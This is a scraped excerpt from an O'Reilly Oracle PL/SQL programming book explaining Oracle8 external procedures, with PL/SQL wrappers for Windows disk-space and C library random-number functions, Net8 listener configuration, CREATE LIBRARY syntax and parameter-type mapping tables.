         || variable (in this case keywords_holder.)
         */
         keywords_holder Keyword_tab_t := :NEW.keywords;
      BEGIN
         FOR the_keyword IN 1..keywords_holder.LAST
         LOOP
            INSERT INTO keywords
            VALUES (:NEW.image_id, keywords_holder(the_keyword));
         END LOOP;
       END;
   END IF;
END;

And finally, we can demonstrate how an insert would be made using the object view:

INSERT INTO images_v VALUES
   (Image_t (1002, BFILENAME('WEBPIX','abc.gif'), 'GIF', 1024,
             Keyword_tab_t('ALPHABET', 'LETTERS')));

Appendix C, Built-In Packages, contains information about these built-in packages.

Previous: 20.7 Object Views Housekeeping | Oracle PL/SQL Programming, 2nd Edition | Next: 21. External Procedures
20.7 Object Views Housekeeping | Book Index | 21. External Procedures
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 21] External Procedures

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 20.8 Postscript: Using the BFILE Datatype Chapter 21 Next: 21.2 Steps in Creating an External Procedure

21. External Procedures

Contents:
Introduction to External Procedures
Steps in Creating an External Procedure
Syntax for External Procedures
Mapping Parameters
OCI Service Routines
External Procedure Housekeeping
Examples

I've lost count of how many times I've heard the question "Can I call whatever from within Oracle?" Typically, whatever is a program that interacts with the external environment: sending email, polling or controlling hardware, or invoking the C library functions that PL/SQL lacks. Until very recently, the standard answer was "No, you can't do that directly, but you can use a database pipe and write a daemon that responds to requests on the pipe." An early paper on this approach[1] describes pipes as an alternative to an even more primitive approach: using a temporary table as a sort of "bulletin board" for interprocess communication.[2]

[1] See Dan Bikle, "Inter-Application Communication Using Oracle7 Database Pipes," Select Vol. 1, No. 2, Winter 93/94, p. 34.

[2] The original paper did not present a true UNIX daemon (which has a specific definition to UNIX and C programmers), but rather discussed the generic idea of a continuously running process.

Temporary tables have serious limitations for this use, and even database pipe-based daemons have their shortcomings. Packing and unpacking the contents of the pipe is a challenge; the daemon typically execute in a separate Oracle session (and thus can't participate in a transaction), and the solution is inherently single-threaded. Moreover, with the pipe solution, it's difficult to get return values back from the daemon to the caller. What we need from Oracle is a fast, reliable way of calling out to operating system commands or functions from within PL/SQL. Better yet, Oracle should allow external routines to serve as user-defined functions so that you can use them in SQL statements.

Enter external procedures. This long-awaited Oracle feature allows you to call anything that you can compile into the native "shared library" format of the operating system. Yes, the external procedures features is reliable; yes, it's multi-threaded; yes, communication is bidirectional; and yes, you can use external procedures as user-defined functions in SQL.

Under UNIX, a shared library is a shared object or .so file; under Windows NT, it's a DLL (dynamically linked library). You can write the external routine in any language you wish, as long as your compiler and linker will generate the appropriate shared library format that is callable from C. In Oracle 8.0, however, C will be the most common language for external procedures, since all of Oracle's support libraries are written in C. Curiously, Oracle has named this feature external "procedures," although the external routines you invoke are, technically speaking, C functions. (There is no such thing as a procedure in C.) If the C function returns a value, you map it to a PL/SQL function; if it returns no value, you map it to a PL/SQL procedure.

This chapter presents a few examples of external procedures (and functions). In addition, we review the preconditions you must establish before they will work, and present the syntax for creating and using this new feature. So, the next time you hear the question about calling whatever, you can answer, "You bet!...in Oracle8."

This chapter does not discuss "distributed external procedures," which are a way of accessing non-Oracle data sources from an Oracle server. Despite the name, these procedures are not closely related to external procedures. Neither do we discuss at length the programming techniques that allow your 3GL code to call back to Oracle (we'll leave that to the books on programming C language access to Oracle). But we do include some samples that you can use right away.

21.1 Introduction to External Procedures

How do external procedures work? How can I build my own? What are their advantages and disadvantages? Before answering in detail, let's take a look at a quick example.

21.1.1 Example: Determining Free Disk Space on Windows NT

Here is an external procedure that will discover the amount of free space on a given disk drive. This example is just to get you going. We won't try to explain all the details at this point. This example was designed for Windows NT 4.0, but the idea can be applied to any operating system that meets the requirements for external procedures. In this case, we simply make a call to the appropriate function in the Windows kernel, rather than writing our own DLL.

Windows NT's kernel, kernel32.dll, contains a routine called GetDiskFreeSpaceA, which accepts a drive letter as an input parameter and returns four statistics about the drive. When we register the routine with PL/SQL, we will provide mappings for each of these parameters to a PL/SQL parameter. Then, when we invoke the external procedure from a PL/SQL program, we'll use these statistics to compute the free disk space.

First, we need to define a "library" to tell Oracle where the DLL lives:

/* Filename on companion disk: nt_space.sql */
CREATE OR REPLACE LIBRARY nt_kernel
AS
   'c:\winnt\system32\kernel32.dll';

We'll create a package called disk_util that will contain our function, which we will call get_disk_free_space as shown here:

CREATE OR REPLACE PACKAGE disk_util
AS
   FUNCTION get_disk_free_space
     (root_path IN VARCHAR2,
      sectors_per_cluster OUT PLS_INTEGER,
      bytes_per_sector OUT PLS_INTEGER,
      number_of_free_clusters OUT PLS_INTEGER,
      total_number_of_clusters OUT PLS_INTEGER)
   RETURN PLS_INTEGER;
   PRAGMA RESTRICT_REFERENCES (get_disk_free_space,
      WNPS, RNPS, WNDS, RNDS);
END disk_util;

All the magic is in the package body, which uses the EXTERNAL clause rather than a BEGIN..END block. This clause is where we define the interface between PL/SQL and the external routine:

CREATE OR REPLACE PACKAGE BODY disk_util
AS
   FUNCTION get_disk_free_space
     (root_path IN VARCHAR2,
      sectors_per_cluster OUT PLS_INTEGER,
      bytes_per_sector OUT PLS_INTEGER,
      number_of_free_clusters OUT pls_integer,
      total_number_of_clusters OUT PLS_INTEGER)
   RETURN PLS_INTEGER
   IS EXTERNAL
      LIBRARY nt_kernel          -- our library (defined previously)
      NAME "GetDiskFreeSpaceA"   -- name of function in kernel32.dll
      LANGUAGE C                 -- external routine is written in C
      CALLING STANDARD PASCAL    -- uses Pascal parameter convention
      PARAMETERS                 -- map PL/SQL to C parameters by
                                 -- position
         (root_path STRING,
          sectors_per_cluster BY REFERENCE LONG,
          bytes_per_sector BY REFERENCE LONG,
          number_of_free_clusters BY REFERENCE LONG,
          total_number_of_clusters BY REFERENCE LONG,
          RETURN LONG); -- "return code" indicating success or failure
END disk_util;

Assuming that the DBA has set up the environment to support external procedures (see Section 21.2.1, "Step 1: Set Up the Listener" later in this chapter), we can make an easy call to compute free disk space on the C: drive:

SET SERVEROUTPUT ON SIZE 100000
DECLARE
   lroot_path VARCHAR2(3) := 'C:\';   -- look at C drive
   lsectors_per_cluster PLS_INTEGER;
   lbytes_per_sector PLS_INTEGER;
   lnumber_of_free_clusters PLS_INTEGER;
   ltotal_number_of_clusters PLS_INTEGER;
   return_code PLS_INTEGER;
   free_meg REAL;
BEGIN
   /* Call the external procedure. We ignore the return code
   || in this simple example.
   */
   return_code := disk_util.get_disk_free_space (lroot_path,
      lsectors_per_cluster, lbytes_per_sector,
      lnumber_of_free_clusters, ltotal_number_of_clusters);

   /* Using the drive statistics that are returned from the
   || external procedure, compute the amount of free disk space.
   || Remember Megabytes = (Bytes / 1024 / 1024)
   */
   free_meg := lsectors_per_cluster * lbytes_per_sector *
               lnumber_of_free_clusters / 1024 / 1024;

   DBMS_OUTPUT.PUT_LINE('free disk space, megabytes = ' || free_meg);
END;

On my machine, this fragment produces the following output:

free disk space, megabytes = 214.53515625

Of course, you could put this computation in a named function or procedure, and even make it part of the disk_util package.

Figure 21.1: Invoking an external procedure

21.1.2 Architecture

Let's take a look at what happens when you invoke an external procedure. As shown in Figure 21.1, the process flow starts with a PL/SQL application that calls a special PL/SQL "module body." In our example above, this body defines the get_disk_free_space function. PL/SQL then looks for a special Net8 listener[3] process, which should already be running in the background. At this point, the listener will spawn an executable program called extproc. This process loads the dynamic library and then invokes the desired routine in the shared library, whereupon it returns its results back to PL/SQL.

[3] Net8 is the name for what was formerly the Oracle SQL*Net product. A Net8 listener is a background process, typically configured by the DBA, which enables other processes to connect to a given service such as the Oracle server.

To limit overhead, only one extproc process needs to run for a given Oracle session; this process starts with the first external procedure call and terminates when the session exits. For each distinct external procedure you call, this extproc process loads the associated shared library, but only if it hasn't already been loaded.

In case you are unfamiliar with dynamic linking, we've provided a few words of explanation. Calling a dynamically linked routine simply maps the shared code pages into the address space of the "user" process. Then, when that process touches one of the pages of the shared library, it will be paged into physical memory, if it isn't already there. The resident pages of the mapped shared library file will be shared automatically between users of that library.[4] In practical terms, this means that heavy concurrent use of your external procedure often requires a lot less computer processing power and memory than, say, the primitive approach you might take with database pipes.

[4] This description applies to Sun's Solaris operating system as well as to Windows NT. For a more detailed discussion from a UNIX perspective, see Adrian Cockroft's performance column, "Which is Better -- Static or Dynamic Linking?" in SunWorld Online, February 1996, at http://www.tritec.de/sunworldonline/swol-02-1996/swol-02-perf.html.

21.1.3 Advantages

Oracle has provided a number of features that make external procedures truly an industrial-strength resource. The four major features are summarized here.

  • Oracle external procedures use shared libraries rather than executables. Requiring the external routine to be in a dynamically linked library, rather than in a statically linked module, helps prevent heavy use of the procedure from consuming your machine. By contrast, static linking means that all of the necessary libraries are actually copied into your compiled program, and each execution requires its own address space. By requiring a library rather than a program, Oracle further allows you to bundle many different external routines conveniently together into a single shared library file. Co-locating a family of related routines in one shared library provides the benefits of increased performance as well as manageability.

  • Oracle external procedures run in a separate memory space from the main kernel processes. This is a good thing; it makes it easy to prevent your custom code from stepping on the memory used by the database server. While it is technically possible to write an external procedure that would crash the Oracle server, you have to set out to do so. If the external procedure crashes, the companion process, extproc, returns an error to the PL/SQL engine, which in turn reports it to the application.

  • External procedures provide full transaction support; that is, they can participate fully in the current transaction. By accepting "context" information from PL/SQL, the procedure can call back to the database to fetch data, make SQL or PL/SQL calls, and raise exceptions. In the current release, utilizing these features requires some low-level Oracle Call Interface (OCI) programming...but at least it's possible!

  • Oracle enforces the execution of external procedures with database-level security. At the first level of security, only the DBA can execute or grant privileges on the required CREATE LIBRARY statement that tells Oracle where the operating system file exists. At the next level of security, users may only invoke the external procedure if they are granted EXECUTE privilege on it.

21.1.4 Limitations

External procedures are not perfect, although their benefits far outweigh their shortcomings. I have no doubt that external procedures will find uses in many applications. Here are some of the current limitations of these procedures:

  • Despite the wonders of shared libraries, Oracle's architecture requires an unavoidable amount of interprocess communication. Moreover, in Oracle 8.0, extproc is single-threaded; while there is only one external procedure process per session, each session does require its own process. (A future version may be multi-threaded, allowing sessions to share a smaller number of extproc processes.)

  • External procedures (at least, as they are implemented in their first release) cannot pass parameters of any user-defined type. Arguments must be conventional scalars. If you wish to exchange objects or collections, a possible workaround is to write a PL/SQL module that would split them up into scalars before calling the external procedure, and reassemble them upon return.

  • With Oracle's current implementation, extproc closes the shared library after it's called, meaning that libraries are not cached. Although this approach could save memory, it could also mean more of a CPU hit for subsequent calls. In addition, the overhead for the first external procedure call from a given session may result in a noticeable delay in response time; however, subsequent calls are much faster.

Previous: 20.8 Postscript: Using the BFILE Datatype | Oracle PL/SQL Programming, 2nd Edition | Next: 21.2 Steps in Creating an External Procedure
20.8 Postscript: Using the BFILE Datatype | Book Index | 21.2 Steps in Creating an External Procedure
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 21] 21.2 Steps in Creating an External Procedure

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

21.2 Steps in Creating an External Procedure

Before you try external procedures, be sure that the machine where you're running the Oracle server supports shared or dynamically linked libraries. Virtually all UNIX machines qualify, as do Windows NT machines. If your own machine doesn't qualify, you can stop here, or you can investigate the use of distributed external procedures.

These are your next tasks:

  1. Ensure that your DBA has enabled a listener for external procedures in your Net8 environment. (This involves changes to tnsnames.ora and listener.ora.) This is a one-time job for a given server.

  2. Identify or create the .so or .DLL file which contains the shared library.

  3. In Oracle, issue the SQL statement CREATE LIBRARY..., which defines an alias in the data dictionary for the external shared library file. This registers the program with the database engine so that it knows where to find it when it is called.

  4. Create the PL/SQL function or procedure body, typically within a package, that will register with PL/SQL the desired routine from the external library. The body of the procedure or function will use the EXTERNAL clause in place of a BEGIN...END block.

And that's it! Let's look at each step in more detail, focusing on the implementation of a random number generator for PL/SQL.

21.2.1 Step 1: Set Up the Listener

What actually happens when your code needs to use the external procedure? First, your code calls a predefined PL/SQL body. When the PL/SQL runtime engine notices such a call, it looks for the special Net8 listener named EXTERNAL_PROCEDURE_LISTENER, which in turn spawns a session-specific process called extproc. It is extproc that invokes your routine in the shared library.

You need to create a new listener with a specific name, EXTERNAL_PROCEDURE _LISTENER. This listener process will execute alongside other listener(s) that you already have running.

NOTE: You cannot change the names EXTERNAL_PROCEDURE_LISTENER or extproc. In the listener.ora fragment given, everything that's not in lowercase italics must match the listing.

In your listener.ora file, you will need the following entries:

/* filename on companion disk: lsnrfrag.ora /*
EXTERNAL_PROCEDURE_LISTENER =
    (ADDRESS_LIST =
        (ADDRESS =
            (PROTOCOL=IPC)
            (KEY=epsid)
        )
    )

SID_LIST_EXTERNAL_PROCEDURE_LISTENER =
    (SID_LIST =
        (SID_DESC=
            (SID_NAME=epsid)
            (ORACLE_HOME=full_directory_path)
            (PROGRAM=extproc)
        )
    )

Where:

epsid

A short identifier that is used by Net8 to locate the listener. Its actual name is rather arbitrary, since your programs will never see it. epsid has to be the same identifier in the address list and in the SID list.

full_directory_path

The full pathname to your ORACLE_HOME directory, such as /u01/app/oracle/product/8.0.3 on UNIX or C:\ORANT on Windows NT. Notice that there are no quotes around the directory name.

NOTE: If desired, listener.ora can point the listener's log into your desired directory:

LOG_DIRECTORY_EXTERNAL_PROCEDURE_LISTENER=/u01/app/
oracle/admin/SID/logbook

And, for debugging, you can control "tracing" for your new listener with entries like this:

TRACE_DIRECTORY_EXTERNAL_PROCEDURE_LISTENER=/u01/app/
oracle/admin/SID/logbook
TRACE_LEVEL_EXTERNAL_PROCEDURE_LISTENER=user

The tnsnames.ora file on the machine where the server is running will need an entry like the following:

EXTPROC_CONNECTION_DATA =
   (DESCRIPTION =
      (ADDRESS =
         (PROTOCOL=IPC)
         (KEY=epsid)
      )
      (CONNECT_DATA=
         (SID=epsid))
      )
   )

Again, epsid must match the key used in the listener.ora file.

TIP: If you intend to use external procedures on your server, remember to modify your database startup and shutdown procedures to incorporate the listener start and stop commands. On UNIX, this typically means editing a startup shell script.

On Windows NT, a Net8 listener is automatically installed as a system service the first time you start it from the command line. However, the listener will not launch automatically on boot unless you configure it to do so. You can use the control panel to designate which listeners launch on system startup.

To remove the external procedure service on NT, delete the entries from listener.ora and tnsnames.ora, and use the NT command instsrv <service name> remove as follows:

instsrv OracleTNSListener80external_procedure_listener remove

(The instsrv utility is available in the NT 4.0 Server Resource Kit. Without it, you'll probably have to edit the registry.)

After making these configuration file changes, you'll need to start the new listener process. In UNIX, this is typically performed from the command line:

lsnrctl start external_procedure_listener

If your database server is running on Windows NT, the first time you start the listener, you'll use the LSNRCTL80 command. From the command prompt, for example, the command would be:

LSNRCTL80 start external_procedure_listener

Thereafter (on NT) you can start and stop specific listeners from the Services component of the Control Panel.

21.2.2 Step 2: Identify or Create the Shared Library

Step 1 is completely independent of any external procedure that you may create on your system. The remaining steps, while specific to our random number procedure, include discussion that applies to almost any external procedure.

Although later examples will show how to create your own shared libraries, let's start with an example that requires no C language programming: calling a standard C library function, rand, which generates a 16-bit random number. On many platforms, rand already exists in a shared object library; on UNIX, it's often in /lib/libc.so, and on NT, in c:\winnt\system32\CRTDLL.DLL.[5]

[5] Documentation on available library functions is commonly available in UNIX man pages or in SDK documentation on other platforms.

A bit of background is in order for folks who haven't played with random number generators. Random number algorithms have certain quirks you need to realize. First, such generators can be deterministic; that is, the algorithm may return the same sequence of "random numbers" every time unless first "seeded" with a quasi-random number. Often, the previous random number is stored and used as a seed. But for the very first call, your program provides the seed, perhaps using some function of the current system time. If you call rand later with an identical seed value, you will get an identical pseudo-random sequence.

rand has a companion "seeding" function, srand, that allows you to supply your own seed value. Calling srand before calling rand stores the seed value as a global in memory, for use by the next call to rand. Subsequent calls from the same session need not call srand, since rand will re-seed itself.

21.2.3 Step 3: Issue CREATE LIBRARY Statement

Now that we have identified /lib/libc.so as the file containing our needed functions, the next thing we have to do is create a library in the Oracle database. This is the easy part!

Creating a library is a way of telling Oracle that we want to refer to a specific shared object file by a programmer-defined name. For many UNIX systems, /lib/libc.so will contain the needed function as shown here:

CREATE OR REPLACE LIBRARY libc_l
AS
   '/lib/libc.so';

Executing this command requires the CREATE LIBRARY privilege (see Section 21.3, "Syntax for External Procedures" for more details).

Note that we have to use a fully qualified pathname; attempting to use an environment variable such as $ORACLE_BASE in the filename will not work.

If your database server runs on Windows NT, your library would likely be created as follows:

CREATE OR REPLACE LIBRARY libc_l
AS
   'c:\winnt\system32\CRTDLL.DLL';

Regardless of platform, you only need to create a single library in this fashion for each shared object file you use. That is, even though you have only issued a single CREATE LIBRARY command for libc.so (or CRTDLL.DLL), you can define any number of external procedures that use routines from that file.

21.2.4 Step 4: Create the PL/SQL Body

The final step is to create a function or procedure definition which registers the desired routine from the shared library. This feature lets you write the body of a PL/SQL procedure or function in C instead of PL/SQL. To the caller it looks like any other PL/SQL subprogram.

Assuming that your C language skills are ready for any custom programming needed in Step 3, Step 4 is potentially the most complex one. Because of the differences between PL/SQL arguments and C language arguments (in datatype, character set, whether they can be null, etc.), Oracle provides a lot of "instrumentation" to allow you to properly map PL/SQL arguments to C language arguments. The details of this instrumentation are described in Section 21.4, "Mapping Parameters" later in this chapter.

TIP: All of the samples in this chapter put the needed modules in a PL/SQL package. One of many benefits of packages is that they enable us to use the RESTRICT_REFERENCES pragma with our module(s). This pragma allows us to tell Oracle that the user-defined function is "safe" and can therefore be used in SQL statements. (See Chapter 17, Calling PL/SQL Functions in SQL, for a full discussion of this pragma.)

Returning once again to our random number example, the specification for an appropriate PL/SQL package might look like this:

/* Filename on companion disk: rand_utl.sql */
CREATE OR REPLACE PACKAGE random_utl
AS
    FUNCTION rand RETURN PLS_INTEGER;
    PRAGMA RESTRICT_REFERENCES (rand, WNDS, RNDS, WNPS, RNPS);

    PROCEDURE srand (seed IN PLS_INTEGER);
    PRAGMA RESTRICT_REFERENCES (srand, WNDS, RNDS, WNPS, RNPS);

END random_utl;

Notice that the package specification is completely devoid of clues that we intend to implement the two subprograms as external procedures. We can't yet tell that rand and srand are any different from conventional PL/SQL modules. And that is exactly the point! From a usage perspective, external procedures are interchangeable with conventional procedures.

Our package body is blissfully short. By the way, assuming that your library is defined correctly, this package will work as-is on either UNIX or Windows NT. (Even in cases where you can't use the same external code on different operating systems, it may be possible to make the PL/SQL specification the same. You could then make the external code the only thing that differs -- which would be very desirable if you have to support multiple platforms.)

CREATE OR REPLACE PACKAGE BODY random_utl
AS
   /* Tested with: (1) Solaris 2.5.1 and Oracle 8.0.3
   ||              (2) Windows NT 4.0 and Oracle 8.0.3
   */

   FUNCTION rand RETURN PLS_INTEGER
   /* Return a random number between 1 and (2**16 - 1), using
   || the current seed value.
   */
   IS
      EXTERNAL       -- tell PL/SQL that this is an external procedure
      LIBRARY libc_l -- specify the library that we created above
      NAME "rand"    -- function's real name is lowercase
      LANGUAGE C;    -- we are calling a function written in C

   PROCEDURE srand (seed IN PLS_INTEGER)
   /* Store a seed value used by external rand() function */
   IS
      EXTERNAL
      LIBRARY libc_l
      NAME "srand"   -- srand (lowercase) is function's real name
      LANGUAGE C
      PARAMETERS (seed ub4);  -- map to unsigned four-byte integer
END random_utl;

In this example, we have chosen to make the names of the PL/SQL modules identical to those in the shared object library. It is not necessary that they match; in fact, you may wish to make them different so that you can talk about (or document) the parameters independently.

Notice the PARAMETERS clause in the body of srand. Each of the formal parameters to the PL/SQL module must have at least one corresponding entry in a PARAMETERS clause. Although there is an extensive set of defaults which can eliminate the need for this clause, this explicit PARAMETERS clause makes it perfectly clear how the parameters will be mapped between PL/SQL and C.

21.2.5 Using the rand External Procedure

Now that we've "registered" the external procedure with a PL/SQL package, we can test it:

SET SERVEROUTPUT ON SIZE 100000
DECLARE
   rnd_value   PLS_INTEGER;
   seed        PLS_INTEGER;
BEGIN
   /* Generate a seed value from the current system time. */
   SELECT TO_CHAR(SYSDATE, 'SSSSS') INTO seed FROM DUAL;

   /* Call the srand external procedure to store our seed in memory. */
   random_utl.srand (seed);

   /* Now demonstrate some random numbers. */
   FOR v_cnt IN 1 .. 10 LOOP
      rnd_value := random_utl.rand;
      DBMS_OUTPUT.PUT_LINE ('rand() call #' || v_cnt ||
                            ' returns ' || rnd_value);
   END LOOP;
END;

This brief test routine simply seeds the library routine with a quasi-random number derived from the current system time, then calls the random number generator ten times in a row.

One of our trial runs produced the following results:

rand() call #1 returns 27610
rand() call #2 returns 27964
rand() call #3 returns 27908
rand() call #4 returns 21610
rand() call #5 returns 14085
rand() call #6 returns 14281
rand() call #7 returns 9569
rand() call #8 returns 9397
rand() call #9 returns 24266
rand() call #10 returns 142

Limitations of rand

It doesn't take a rocket scientist to see that the numbers from our trial run are not totally random. This isn't Oracle's fault! The problem lies with the algorithm used in rand. Moreover, rand returns numbers only in the range 1 through 65535. Many C libraries include the XPG4 standard function rand48, which overcomes these limitations at the expense of mildly increased complexity. See the companion diskette for the source code of an external procedure that uses rand48 (the rand48ut.c and rand48ut.sql files).

Previous: 21.1 Introduction to External Procedures | Oracle PL/SQL Programming, 2nd Edition | Next: 21.3 Syntax for External Procedures
21.1 Introduction to External Procedures | Book Index | 21.3 Syntax for External Procedures
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 21] 21.3 Syntax for External Procedures

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

21.3 Syntax for External Procedures

Now that we've gone through the basic steps and seen examples of the kind of code you must write in order to take advantage of external procedures, let's explore each syntactic element in more detail.

21.3.1 CREATE LIBRARY: Creating the External Procedure Library

Step 3 in the random number generator example we presented in the previous section uses the SQL statement CREATE LIBRARY. The general syntax for this command is:

CREATE [ OR REPLACE ] LIBRARY <library name>
AS
   '<path to file>';

Where:

library name

A legal PL/SQL identifier. This name will be used in subsequent bodies of external procedures that need to call the shared object (or DLL) file.

path to file

The fully qualified pathname to the shared object (or DLL) file. As shown above, it must be enclosed in single quotes.

Here are some things to keep in mind when issuing a CREATE LIBRARY statement:

  • The statement must be executed by the DBA or by a user who has been granted CREATE LIBRARY or CREATE ANY LIBRARY privileges.

  • As with most other database objects, libraries are owned by a specific Oracle user (schema). Other users can refer to the library using owner.library syntax, or they can create synonyms for the library (or use a synonym) if desired.

  • Oracle doesn't check whether the named shared library file exists when you execute the CREATE LIBRARY statement. Nor will it check when you later create an external procedure declaration for a function in that library (see Step 4). If you have a syntax error in the path, you won't know it until the first time you try to execute the function.

  • Setting up a listener is typically a DBA task performed (in UNIX, anyway) when the DBA is logged on as the "oracle user." However, for security reasons, Oracle recommends setting up a different OS-level user with a limited profile to run the listener for external procedures.

21.3.2 EXTERNAL: Creating the PL/SQL Body

In lieu of a BEGIN..END block, the body of your PL/SQL function or procedure must contain an EXTERNAL clause. This section describes the content of this clause. Syntactically, it looks like this:

EXTERNAL LIBRARY <library name>
   [ NAME <external routine name> ]
   [ LANGUAGE <language name> ]
   [ CALLING STANDARD  C | PASCAL ]
   [ PARAMETERS (<external parameter list>) ]
   [ WITH CONTEXT ];

Where:

library name

Name defined previously in the CREATE LIBRARY statement.

external routine name

Name of the function as defined in the C language library. If the name is lowercase, you must put double quotes around it. You can omit this parameter; if you do, the name of the external routine must match your PL/SQL module's name (defaults to uppercase).

language name

Lets PL/SQL know the language in which the external routine is written. In early releases of Oracle8, this parameter can only be C, which is the default.

CALLING STANDARD

On Windows NT, your application may use the Pascal calling standard, which means that arguments are "reversed" on the stack and that your called function will deal with them accordingly. CALLING STANDARD defaults to C if omitted.

PARAMETERS

This section gives the position and datatypes of parameters exchanged between PL/SQL and C.

external parameter list

External parameters appear in a comma-delimited list. Each item in the list is one of three things:

  • The keyword CONTEXT, which is a placeholder for the context pointer

  • Information about a formal parameter's mapping between PL/SQL and C

  • The keyword RETURN and information about its mapping

The syntax and rules are discussed in "Mapping Parameters" below.

WITH CONTEXT

The presence of this clause indicates that you want PL/SQL to pass a "context pointer" to the called program. The called program must be expecting the pointer as a formal parameter of type OCIExtProcContext * (defined in the C header file ociextp.h).

This "context" that we are passing via a pointer is a data structure that contains a variety of Oracle-specific information. The called procedure doesn't actually refer directly to the data structure's content; instead, the structure simply facilitates other Oracle Call Interface (OCI) calls which perform various Oracle-specific tasks. These tasks include raising predefined or user-defined exceptions, allocating session-only memory (which gets released as soon as control returns to PL/SQL), and obtaining information about the Oracle user's environment.

21.3.3 DROP: Dropping Libraries

The syntax for dropping a library is simply:

DROP LIBRARY <library name>;

The Oracle user who executes this command must have the DROP LIBRARY or DROP ANY LIBRARY privilege.

Oracle does not check dependency information before dropping the library. This is useful if you need to change the name or location of the shared object file to which the library points. You can just drop it and rebuild it, and any dependent routines will continue to function. (More useful, perhaps, would be a requirement that you use a DROP LIBRARY FORCE command, but such an option does not exist).

Before you drop the library permanently, you'll probably want to look in the DBA_DEPENDENCIES view to see if any PL/SQL module relies on the library.

Previous: 21.2 Steps in Creating an External Procedure | Oracle PL/SQL Programming, 2nd Edition | Next: 21.4 Mapping Parameters
21.2 Steps in Creating an External Procedure | Book Index | 21.4 Mapping Parameters
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 21] 21.4 Mapping Parameters

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

21.4 Mapping Parameters

Consider for a moment the problems of exchanging data between PL/SQL and C. PL/SQL has its own set of datatypes that are only somewhat similar to those you find in 3GLs. PL/SQL variables can be NULL and subject to three-valued truth table logic; C variables have no equivalent concept. Your C library might not know which national language character set you're using to express alphanumeric values. And should your C functions expect a given argument by value, or by reference (pointer)?

Given these hurdles, it would be easy to conclude that the job is impossible or, at best, difficult. The good news, though, is that Oracle has thought of all these issues already, and has built a lot of options into the PARAMETERS clause to cover the possibilities. So the programmer's key task is to figure out how to apply the options to a given situation.

21.4.1 Datatype Conversion

Let's look first at the issue of datatype conversions. Oracle has kindly provided a useful set of default type conversions. Each PL/SQL datatype maps to an "external datatype," which in turn maps to an allowed set of C types as illustrated below:

PL/SQL types  External types  C types

The external datatypes, which are included in the PARAMETERS clause, are case-insensitive. In some cases, the external datatypes have the same name as the C type, but in some others, they do not. For example, the STRING external datatype maps to a char * in C.

As another example, if you pass a PL/SQL variable of type PLS_INTEGER, the corresponding default external type is INT, which maps to an int datatype in C. Or if you prefer, you can override this conversion with an explicit mapping to other external types such as SHORT (maps to short in C) or UNSIGNED INT (maps to unsigned int in C).

Table 21.1 lists all the default datatype conversions, as well as alternative conversions, allowed by Oracle's PL/SQL to C interface.For brevity, in the cases where the external datatype and the C datatype are the same except for case sensitivity, we have listed the type name only once, in lowercase. Note that the allowable conversions depend on both the datatype and the mode of the PL/SQL formal parameter.

Table 21.1: Legal Mappings of PL/SQL and C Datatypes
 | C Datatype if PL/SQL Formal Parameters are...
PL/SQL Datatype | IN or RETURN | IN BY REFERENCE or RETURN BY REFERENCE | IN OUT or OUT
"Long" integer family: BINARY_INTEGER, BOOLEAN, PLS_INTEGER | int, char, unsigned char, short, unsigned short, unsigned int, long, unsigned long, sb1, ub1, sb2, ub2, sb4, ub4, size_t | Same list of types as at left, but use a pointer (for example, the default is int * rather than int) | Same list of types as at far left, but use a pointer (for example, the default is int * rather than int)
"Short" integer family: NATURAL, NATURALN, POSITIVE, POSITIVEN, SIGNTYPE | Same as above, except default is unsigned int | Same as above, except default is unsigned int * | Same as above, except default is unsigned int *
"Character" family: VARCHAR2, CHAR, LONG, VARCHAR, CHARACTER, ROWID | STRING[6] | STRING[6] | STRING[6]
DOUBLE PRECISION | Double | Double | Double
FLOAT, REAL | Float | Float | Float
RAW, LONG RAW | RAW[7] | RAW[7] | RAW[7]
BFILE, BLOB, CLOB | OCILOBLOCATOR[8] | OCILOBLOCATOR | OCILOBLOCATOR
"User-defined" family: records, collections, objects, cursor variables | Disallowed in this Oracle release | Disallowed in this Oracle release | Disallowed in this Oracle release

[6] In the PARAMETERS clause, use the external datatype STRING, but in the C specification, use char *.

[7] In the PARAMETERS clause, use the external datatype RAW, but in the C specification, use unsigned char *.

[8] In the PARAMETERS clause, use the external datatype OCILOBLOCATOR; in the C specification, use OciLobLocator * for parameters of mode IN, RETURN, IN BY REFERENCE, or RETURN BY REFERENCE; use OciLobLocator ** for IN OUT or OUT.

In some simple cases where you are passing only numeric arguments and where the defaults are acceptable, you can omit the PARAMETERS clause entirely.

By contrast, any time you return a character parameter from an external procedure, you may need to include an explicit PARAMETERS clause. This is so that you can supply a "property" parameter such as INDICATOR, LENGTH, or MAXLEN that will tell PL/SQL the actual and maximum size of the character buffer. These properties apply both to arguments and to function return values. As it turns out, LENGTH is only needed for RAW datatypes since strings are null-terminated.

For example, if you had a generic procedure which accepted an operating system command and returned output from that command, your procedure body might look like this (notice the PARAMETERS clause):

PROCEDURE run_command
   (command IN VARCHAR2,
    result OUT VARCHAR2)
IS EXTERNAL
   LIBRARY libshell_l
